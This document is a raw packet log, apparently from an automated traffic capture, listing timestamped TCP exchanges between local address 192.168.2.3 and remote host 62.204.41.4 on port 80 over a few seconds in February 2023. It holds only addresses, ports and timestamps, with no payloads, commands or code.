Feb 8, 2023 21:33:56.296209097 CET	50244	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.297133923 CET	50245	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.357213974 CET	80	50244	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:56.357389927 CET	50244	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.358659029 CET	80	50245	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:56.358818054 CET	50245	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.364181042 CET	50245	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.425525904 CET	80	50245	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:56.427768946 CET	80	50245	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:56.427877903 CET	50245	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.534324884 CET	50245	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.534933090 CET	50246	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.595952988 CET	80	50245	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:56.596102953 CET	50245	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.596379995 CET	80	50246	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:56.596489906 CET	50246	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.596900940 CET	50246	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.658437014 CET	80	50246	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:56.662391901 CET	80	50246	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:56.662540913 CET	50246	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.796941996 CET	50246	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.797693968 CET	50247	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.858963966 CET	80	50246	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:56.859074116 CET	80	50247	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:56.859175920 CET	50246	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.859235048 CET	50247	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.859618902 CET	50247	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:56.921267033 CET	80	50247	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:56.923338890 CET	80	50247	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:56.923542976 CET	50247	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.031490088 CET	50247	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.032439947 CET	50248	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.093185902 CET	80	50248	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:57.093226910 CET	80	50247	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:57.093349934 CET	50247	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.093362093 CET	50248	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.096615076 CET	50248	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.157109022 CET	80	50248	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:57.161145926 CET	80	50248	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:57.161823034 CET	50248	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.267142057 CET	50248	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.267878056 CET	50249	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.327719927 CET	80	50248	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:57.329024076 CET	80	50249	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:57.329180956 CET	50248	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.329214096 CET	50249	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.332963943 CET	50249	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.394735098 CET	80	50249	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:57.396867037 CET	80	50249	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:57.397068977 CET	50249	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.500122070 CET	50249	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.501940966 CET	50250	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.561639071 CET	80	50249	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:57.561784983 CET	50249	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.564392090 CET	80	50250	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:57.565221071 CET	50250	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.566354036 CET	50250	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.628669024 CET	80	50250	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:57.658190966 CET	80	50250	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:57.661791086 CET	50250	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.780601025 CET	50250	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.782273054 CET	50251	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.843461990 CET	80	50250	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:57.843663931 CET	50250	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.845915079 CET	80	50251	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:57.846817017 CET	50251	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.847161055 CET	50251	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:57.909986019 CET	80	50251	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:57.927674055 CET	80	50251	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:57.929313898 CET	50251	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.032402039 CET	50251	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.034097910 CET	50252	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.095185041 CET	80	50252	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:58.095326900 CET	50252	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.095359087 CET	80	50251	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:58.095454931 CET	50251	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.095925093 CET	50252	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.156662941 CET	80	50252	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:58.160579920 CET	80	50252	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:58.160692930 CET	50252	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.266319036 CET	50252	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.267991066 CET	50253	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.327568054 CET	80	50252	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:58.327742100 CET	50252	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.330033064 CET	80	50253	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:58.330287933 CET	50253	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.330621958 CET	50253	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.392395973 CET	80	50253	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:58.394375086 CET	80	50253	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:58.397439957 CET	50253	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.501398087 CET	50253	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.502500057 CET	50254	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.563518047 CET	80	50253	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:58.563776970 CET	50253	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.564295053 CET	80	50254	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:58.564475060 CET	50254	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.565095901 CET	50254	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.626837015 CET	80	50254	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:58.629164934 CET	80	50254	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:58.629338026 CET	50254	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.769901037 CET	50254	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.770550966 CET	50255	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.831968069 CET	80	50255	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:58.832016945 CET	80	50254	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:58.832173109 CET	50254	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.832472086 CET	50255	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.840938091 CET	50255	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:58.902415037 CET	80	50255	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:58.905013084 CET	80	50255	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:58.905159950 CET	50255	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.015875101 CET	50255	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.016932011 CET	50256	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.077462912 CET	80	50255	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:59.077708006 CET	50255	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.078558922 CET	80	50256	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:59.078669071 CET	50256	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.079103947 CET	50256	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.140970945 CET	80	50256	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:59.144504070 CET	80	50256	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:59.144690037 CET	50256	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.249646902 CET	50256	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.250598907 CET	50257	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.311779022 CET	80	50256	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:59.311973095 CET	50256	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.312851906 CET	80	50257	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:59.313064098 CET	50257	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.313801050 CET	50257	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.376164913 CET	80	50257	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:59.379992962 CET	80	50257	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:59.380162001 CET	50257	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.484143972 CET	50257	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.484843016 CET	50258	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.546614885 CET	80	50257	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:59.546649933 CET	80	50258	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:59.546725035 CET	50257	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.546803951 CET	50258	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.548026085 CET	50258	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.609571934 CET	80	50258	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:59.612236977 CET	80	50258	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:59.612359047 CET	50258	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.718904018 CET	50258	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.719822884 CET	50259	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.780559063 CET	80	50259	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:59.780688047 CET	80	50258	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:59.780744076 CET	50259	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.780812025 CET	50258	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.785012007 CET	50259	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.845988035 CET	80	50259	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:59.849739075 CET	80	50259	62.204.41.4	192.168.2.3
Feb 8, 2023 21:33:59.849888086 CET	50259	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.970029116 CET	50259	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:33:59.972332001 CET	50260	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.031013012 CET	80	50259	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:00.031177044 CET	50259	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.034914970 CET	80	50260	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:00.035084963 CET	50260	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.035520077 CET	50260	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.098100901 CET	80	50260	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:00.102188110 CET	80	50260	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:00.102360010 CET	50260	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.221556902 CET	50260	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.222323895 CET	50261	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.284081936 CET	80	50261	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:00.284317970 CET	50261	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.284351110 CET	80	50260	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:00.284487963 CET	50260	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.284821987 CET	50261	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.346343040 CET	80	50261	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:00.348800898 CET	80	50261	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:00.348893881 CET	50261	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.454627991 CET	50261	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.455971956 CET	50262	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.516484022 CET	80	50262	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:00.516542912 CET	80	50261	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:00.516654015 CET	50262	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.516685009 CET	50261	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.517158031 CET	50262	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.577464104 CET	80	50262	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:00.579685926 CET	80	50262	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:00.579924107 CET	50262	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.688436985 CET	50262	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.689277887 CET	50263	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.749222994 CET	80	50262	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:00.749422073 CET	50262	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.750042915 CET	80	50263	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:00.750235081 CET	50263	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.750617981 CET	50263	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.811212063 CET	80	50263	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:00.814040899 CET	80	50263	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:00.817823887 CET	50263	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.924040079 CET	50263	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:00.924753904 CET	50264	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.014820099 CET	80	50263	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:01.014883995 CET	80	50264	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:01.014987946 CET	50263	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.015032053 CET	50264	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.016917944 CET	50264	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.079509020 CET	80	50264	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:01.083281040 CET	80	50264	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:01.086441994 CET	50264	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.205180883 CET	50264	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.206147909 CET	50265	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.268182039 CET	80	50264	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:01.268223047 CET	80	50265	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:01.268330097 CET	50264	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.268426895 CET	50265	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.268881083 CET	50265	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.330631971 CET	80	50265	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:01.334364891 CET	80	50265	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:01.334582090 CET	50265	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.438787937 CET	50265	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.440460920 CET	50266	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.500756979 CET	80	50265	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:01.501005888 CET	50265	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.503062963 CET	80	50266	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:01.503264904 CET	50266	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.503734112 CET	50266	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.567120075 CET	80	50266	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:01.570391893 CET	80	50266	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:01.573717117 CET	50266	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.691267967 CET	50266	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.692341089 CET	50267	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.752964973 CET	80	50267	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:01.753143072 CET	50267	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.753798962 CET	80	50266	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:01.753972054 CET	50266	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.755474091 CET	50267	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.815995932 CET	80	50267	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:01.818662882 CET	80	50267	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:01.818897009 CET	50267	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.937041044 CET	50267	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.938010931 CET	50268	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.997987986 CET	80	50267	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:01.998179913 CET	50267	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:01.999682903 CET	80	50268	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:01.999854088 CET	50268	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.000197887 CET	50268	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.061835051 CET	80	50268	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:02.066241980 CET	80	50268	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:02.066473961 CET	50268	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.172059059 CET	50268	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.174559116 CET	50269	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.234019995 CET	80	50268	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:02.234297991 CET	50268	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.235013962 CET	80	50269	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:02.235129118 CET	50269	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.235624075 CET	50269	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.296067953 CET	80	50269	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:02.298657894 CET	80	50269	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:02.298780918 CET	50269	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.406816006 CET	50269	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.408127069 CET	50270	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.467627048 CET	80	50269	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:02.467787027 CET	50269	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.468512058 CET	80	50270	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:02.468661070 CET	50270	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.469353914 CET	50270	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.530049086 CET	80	50270	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:02.533246040 CET	80	50270	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:02.533442974 CET	50270	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.641397953 CET	50270	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.642474890 CET	50271	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.701956034 CET	80	50270	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:02.702095032 CET	50270	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.702796936 CET	80	50271	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:02.702918053 CET	50271	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.703342915 CET	50271	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.763499022 CET	80	50271	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:02.766514063 CET	80	50271	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:02.766586065 CET	50271	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.875885963 CET	50271	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.876892090 CET	50272	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.937129021 CET	80	50271	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:02.937222004 CET	50271	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.937263012 CET	80	50272	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:02.937355042 CET	50272	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.938055992 CET	50272	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:02.998670101 CET	80	50272	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:03.001113892 CET	80	50272	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:03.001256943 CET	50272	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.112837076 CET	50272	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.113859892 CET	50273	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.173367023 CET	80	50272	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:03.173563957 CET	50272	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.176290989 CET	80	50273	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:03.176476955 CET	50273	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.177895069 CET	50273	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.240624905 CET	80	50273	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:03.244455099 CET	80	50273	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:03.244622946 CET	50273	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.360037088 CET	50273	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.366153955 CET	50274	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.422746897 CET	80	50273	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:03.422866106 CET	50273	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.428739071 CET	80	50274	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:03.428900003 CET	50274	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.430516005 CET	50274	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.493096113 CET	80	50274	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:03.495460987 CET	80	50274	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:03.495560884 CET	50274	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.613195896 CET	50275	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.614483118 CET	50274	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.674916029 CET	80	50275	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:03.675052881 CET	50275	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.675784111 CET	50275	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.676994085 CET	80	50274	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:03.677100897 CET	50274	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.737276077 CET	80	50275	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:03.739691019 CET	80	50275	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:03.739857912 CET	50275	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.848587990 CET	50275	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.855829000 CET	50276	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.910255909 CET	80	50275	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:03.910608053 CET	50275	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.918391943 CET	80	50276	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:03.918729067 CET	50276	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.919337988 CET	50276	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:03.981805086 CET	80	50276	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:03.984200954 CET	80	50276	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:03.984388113 CET	50276	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.110057116 CET	50276	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.110799074 CET	50277	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.178066015 CET	80	50277	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:04.178096056 CET	80	50276	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:04.178302050 CET	50276	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.178308010 CET	50277	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.178879976 CET	50277	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.240899086 CET	80	50277	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:04.245558023 CET	80	50277	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:04.245790958 CET	50277	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.359718084 CET	50277	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.361069918 CET	50278	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.424137115 CET	80	50277	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:04.424186945 CET	80	50278	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:04.424340010 CET	50277	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.424410105 CET	50278	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.426126003 CET	50278	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:34:04.488511086 CET	80	50278	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:04.490910053 CET	80	50278	62.204.41.4	192.168.2.3
Feb 8, 2023 21:34:04.491039991 CET	50278	80	192.168.2.3	62.204.41.4
